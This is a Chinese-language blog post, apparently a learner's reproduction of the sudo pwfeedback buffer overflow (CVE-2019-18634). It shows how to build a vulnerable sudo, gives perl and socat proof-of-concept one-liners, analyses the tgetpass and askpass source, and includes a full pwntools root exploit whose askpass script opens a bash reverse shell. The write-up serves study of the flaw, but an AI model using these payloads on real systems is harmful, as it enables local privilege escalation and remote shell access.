CVE_2019_18634

复现一个简单的CVE_2019_18634,利用sudo程序中的pwfeedback选项从而以root权限执行程序,影响版本为低于1.8.31的sudo程序

Environment

Download&Compile sudo_1.8.25

install

1
wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
2
tar -zxvf ./sudo-1.8.25.tar.gz
3
cd ./sudo-1.8.25
4
./configure --prefix=/tmp/build
5
make
6
make install

Turn ON pwfeedback

在/etc/sudoers中添加Defaults pwfeedback
开启后,在用户切换的输入密码时,会有视觉反馈,出现”*”符号

POC

POC1[<=1.8.25]

1
perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id

POC2[1.8.26,1.8.30]

1
socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((chr(0x61)*100+chr(0x15))*50)'" &
2
sudo -S id < /tmp/pty

POC1通过从管道获取数据交给sudo,-S表示从stdin读取数据
POC2通过socat创建了一个伪终端pty,sudo处理的数据从终端中获取,”waitslave exec”执行后续命令

DEBUG

调试的方式则是采用gdb中的attach pid的方式
首先运行调试脚本

1
import sys,os
2
from pwn import *
3
4
TARGET=os.path.realpath("/tmp/build/bin/sudo")
5
6
'''
7
Create a pty terminal to transmit payload
8
mfd, sfd = os.openpty()
9
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
10
p = process([TARGET,"-S", "id"],stdin=fd)
11
'''
12
p = process([TARGET,"-S","id"])
13
pause()
14
payload = ("A"*100+"\x00")*50
15
#os.write(mfd, payload+"n")
16
pause()
17
p.send(payload+'\n')
18
p.interactive()
19
sys.exit(0)

在第一次pause的时候,打开另外一个终端进入gdb,利用

1
pwndbg> attach pid

调试进程,然后就可以卡在read的时候
之后则和正常的普通elf文件调试差不多了

Analysis

首先sudo输入的时候,调用的函数是getln
在终端执行POC1,程序在int getln tgetpass.c:345报错

1
extern int sudo_term_erase, sudo_term_kill;
2
3
static char *getln(int fd, char *buf, size_t bufsiz, int feedback)
4
{
5
    size_t left = bufsiz;
6
    ssize_t nr = -1;
7
    char *cp = buf;
8
    char c = '\0';
9
    debug_decl(getln, SUDO_DEBUG_CONV)
10
11
    if (left == 0) {
12
	errno = EINVAL;
13
	debug_return_str(NULL);		/* sanity */
14
    }
15
16
    while (--left) {
17
	nr = read(fd, &c, 1);
18
	if (nr != 1 || c == '\n' || c == '\r')
19
	    break;
20
	if (feedback) {
21
		if (c == sudo_term_kill) {
22
			while (cp > buf)
23
			{
24
				if (write(fd, "\b \b", 3) == -1)
25
				break;
26
				--cp;
27
			}
28
			left = bufsiz;
29
			continue;
30
	    }
31
	    else if (c == sudo_term_erase) {
32
			if (cp > buf)
33
			{
34
				if (write(fd, "\b \b", 3) == -1)
35
				break;
36
				--cp;
37
				left++;
38
			}
39
			continue;
40
	    }
41
	    ignore_result(write(fd, "*", 1));
42
	}
43
	*cp++ = c;
44
    }
45
    //......
46
}

如果sudo开启了pwfeedback,之后进行两个判断

sudo_term_kill: 删除所有字符,可输入字符数量left重新赋值为bufsiz
sudo_term_erase:删除单个字符,可输入字符数量left自增1

漏洞点

1
if (feedback) {
2
		if (c == sudo_term_kill) {
3
			while (cp > buf)
4
			{
5
				if (write(fd, "\b \b", 3) == -1)
6
				break;
7
				--cp;
8
			}
9
			left = bufsiz;
10
			continue;
11
	    }
12
	    ......

然而如果从管道获取输入的数据,因为管道是单向的,那么”write(fd, “\b \b”, 3) == -1”总是成立,break跳出while循环,令left赋值为0xFF
因为数据没有删除完,指针cp并没有回到buf最初位置,可以形成溢出,又因为getln传入的buf指针指向的BSS段上一个变量
而此变量之后跟随有askpass_6192,signo,tgetpass_flags,user_details_0多个BSS上的变量
然后查看tgetpass函数

1
/*
2
 * Like getpass(3) but with timeout and echo flags.
3
 */
4
char *tgetpass(const char *prompt, int timeout, int flags,struct sudo_conv_callback *callback)
5
{
6
    struct sigaction sa, savealrm, saveint, savehup, savequit, saveterm;
7
    struct sigaction savetstp, savettin, savettou;
8
    char *pass;
9
    static const char *askpass;
10
    static char buf[SUDO_CONV_REPL_MAX + 1];
11
    int i, input, output, save_errno, neednl = 0, need_restart;
12
    debug_decl(tgetpass, SUDO_DEBUG_CONV)
13
14
    (void) fflush(stdout);
15
16
    if (askpass == NULL)
17
    {
18
		askpass = getenv_unhooked("SUDO_ASKPASS");
19
		if (askpass == NULL || *askpass == '\0')
20
			askpass = sudo_conf_askpass_path();  //get the askpass from the environment
21
    }
22
23
    /* If no tty present and we need to disable echo, try askpass. */
24
    if (!ISSET(flags, TGP_STDIN|TGP_ECHO|TGP_ASKPASS|TGP_NOECHO_TRY) &&!tty_present())
25
    {
26
		if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) {
27
			sudo_warnx(U_("no tty present and no askpass program specified"));
28
			debug_return_str(NULL);
29
		}
30
		SET(flags, TGP_ASKPASS);
31
    }
32
33
    /* If using a helper program to get the password, run it instead. */
34
    if (ISSET(flags, TGP_ASKPASS))
35
    {
36
		if (askpass == NULL || *askpass == '\0')
37
			sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
38
		debug_return_str_masked(sudo_askpass(askpass, prompt));
39
    }
40
    //.......
41
    pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));
42
    //......
43
}

因为第一次tgetpass_flags没有开启askpass,那么会通过后面的

1
pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));

进行输入,此时传入的feedback不为0,可以形成越界修改tgetpass_flags的值
因为sudo会有三次输入的机会,如果修改tgetpass_flags存在TGP_ASKPASS的标志值
其中tgetpass_flags的选项位于sudo.h

1
#define TGP_NOECHO  0x00        /* turn echo off reading pw (default) */
2
#define TGP_ECHO    0x01        /* leave echo on when reading passwd */
3
#define TGP_STDIN   0x02        /* read from stdin, not /dev/tty */
4
#define TGP_ASKPASS 0x04        /* read from askpass helper program */
5
#define TGP_MASK    0x08        /* mask user input when reading */
6
#define TGP_NOECHO_TRY  0x10        /* turn off echo if possible */

继而第二次输入密码则调用sudo_askpass函数,继续查看sudo_askpass函数源码

1
/*
2
 * Fork a child and exec sudo-askpass to get the password from the user.
3
 */
4
static char *sudo_askpass(const char *askpass, const char *prompt)
5
{
6
    static char buf[SUDO_CONV_REPL_MAX + 1], *pass;
7
    struct sigaction sa, savechld;
8
    int pfd[2], status;
9
    pid_t child;
10
    debug_decl(sudo_askpass, SUDO_DEBUG_CONV)
11
12
    /* Set SIGCHLD handler to default since we call waitpid() below. */
13
    memset(&sa, 0, sizeof(sa));
14
    sigemptyset(&sa.sa_mask);
15
    sa.sa_flags = SA_RESTART;
16
    sa.sa_handler = SIG_DFL;
17
    (void) sigaction(SIGCHLD, &sa, &savechld);
18
19
    if (pipe(pfd) == -1)
20
	sudo_fatal(U_("unable to create pipe"));
21
22
    child = sudo_debug_fork();
23
    if (child == -1)
24
	sudo_fatal(U_("unable to fork"));
25
26
    if (child == 0) {
27
	/* child, point stdout to output side of the pipe and exec askpass */
28
	if (dup2(pfd[1], STDOUT_FILENO) == -1) {
29
	    sudo_warn("dup2");
30
	    _exit(255);
31
	}
32
	if (setuid(ROOT_UID) == -1)
33
	    sudo_warn("setuid(%d)", ROOT_UID);
34
	if (setgid(user_details.gid)) {
35
	    sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
36
	    _exit(255);
37
	}
38
	if (setuid(user_details.uid)) {
39
	    sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
40
	    _exit(255);
41
	}
42
	closefrom(STDERR_FILENO + 1);
43
	execl(askpass, askpass, prompt, (char *)NULL); //执行程序
44
	/*
45
	int execl(const char *pathname, const char *arg, ...)
46
    */
47
	sudo_warn(U_("unable to run %s"), askpass);
48
	_exit(255);
49
    }
50
51
    /* Get response from child (askpass). */
52
    (void) close(pfd[1]);
53
    pass = getln(pfd[0], buf, sizeof(buf), 0); //未开启pwfeedback
54
    (void) close(pfd[0]);
55
56
    /* Wait for child to exit. */
57
    for (;;) {
58
	pid_t rv = waitpid(child, &status, 0);
59
	if (rv == -1 && errno != EINTR)
60
	    break;
61
	if (rv != -1 && !WIFSTOPPED(status))
62
	    break;
63
    }
64
65
    if (pass == NULL)
66
	errno = EINTR;	/* make cancel button simulate ^C */
67
68
    /* Restore saved SIGCHLD handler. */
69
    (void) sigaction(SIGCHLD, &savechld, NULL);
70
71
    debug_return_str_masked(pass);
72
}

最开始有child = sudo_debug_fork();此处程序fork了一个子线程,而子线程的权限来自于user_details即之前可以越界修改的user_details_0的数据
之后会execl(askpass, askpass, prompt, (char *)NULL);通过此处执行askpass指向的程序,此时程序是以子线程的用户态权限运行的

思路总结

1.sudo输入具有三次输入的机会
2.如果开启了pwfeedback,程序会利用tgetpass函数中的getln函数进行输入,而getln函数在pwfeedback开启时存在BSS数据越界
3.在sudo_askpass函数中,会fork一个子线程,以子线程的权限运行一个askpass指向的程序

漏洞利用

1.第一次输入修改tgetpass_flags |= TGP_ASKPASS,然后继续溢出修改user_details_0提权为root
2.第二次就会检测到存在TGP_ASKPASS从而进入sudo_askpass,进而执行askpass指向的程序
3.最终通过反弹shell的方式拿到shell

Change in 1.8.26

在1.8.26之后的getln中添加了对EOF的处理

1
      if (c == sudo_term_eof) {
2
    nr = 0;
3
    break;
4
}

如此POC1不起作用了,但是若创建一个新的伪终端对,从伪终端获取输入流
在ASCII中,EOF与KILL对应的值分别为0x04与0x15,则稍微修改一个POC漏洞就可以再次利用

Exploit

Exploit
如果通过管道传输数据,sudo_term_kill初始化为”\x00”,将会导致溢出到user_details_0之前,signo不能置0,否则会抛出异常从而KILL进程、
而通过终端传输数据,sudo_term_kill是为”\x15”的,则优选pty作为输入方式
下面的EXP是通过创建了一个伪终端,从而将数据交给sudo,适用于1.8.30及以下的sudo程序

1
# coding=utf-8
2
from pwn import*
3
import sys,os
4
5
TARGET=os.path.realpath("/tmp/build/bin/sudo")
6
7
def setFlags(flags):
8
	tgetpassFlags = {
9
		"TGP_NOECHO":0x00,
10
		"TGP_ECHO":0x01,
11
		"TGP_STDIN":0x02,
12
		"TGP_ASKPASS":0x04,
13
		"TGP_MASK":0x08,
14
		"TGP_NOECHO_TRY":0x10
15
	}
16
	flags = flags.split("|")
17
	retval = 0
18
	for i in flags:
19
		retval |= tgetpassFlags[i]
20
	return retval
21
22
if __name__ == "__main__":
23
24
	shell_path = "/tmp/root.sh"
25
	with open(shell_path,"w") as file:
26
		file.write(
27
		'''#!/bin/bash
28
		bash -c "bash -i >& /dev/tcp/127.0.0.1/3000 0>&1"
29
		''')
30
	os.chmod(shell_path,0o777)
31
	mfd, sfd = os.openpty()
32
	fd = os.open(os.ttyname(sfd), os.O_RDONLY)
33
	
34
	p = process([TARGET,"-S", "id"],stdin=fd,env={"SUDO_ASKPASS":shell_path})
35
	port = listen(3000)
36
	payload  = '\x00'*0xFE + '\x15' + '\x00' #buf
37
	payload += '\x00'*0x20 	#askpass_link
38
	payload += '\x00'*0xDD + '\x15' + '\x00'*0x28 #signo
39
	payload += p64(setFlags("TGP_STDIN|TGP_ASKPASS")) + '\x00'*0x14 #tgetpass_flags
40
	payload += '\x00'*0x30 #user_details
41
	payload += '\n'
42
	pause()
43
	os.write(mfd,payload)
44
	port.wait_for_connection()
45
	pause()
46
	port.interactive()

Reference

CVE-2019-18634漏洞复现与分析
CVE-2019-18634 sudo 提权漏洞分析
CVE-2019-18634

总结

第一次复现CVE,即便再简单,也是看了许久,查看了几篇文章,学到了许多,但是只能看着他人在挖CVE,不知道什么时候才能拥有自己的CVE ◔ ‸◔

Contents
  1. 1. Environment
    1. 1.1. Download&Compile sudo_1.8.25
    2. 1.2. Turn ON pwfeedback
    3. 1.3. POC
  2. 2. DEBUG
  3. 3. Analysis
  4. 4. Change in 1.8.26
  5. 5. Exploit
  6. 6. Reference
  7. 7. 总结
|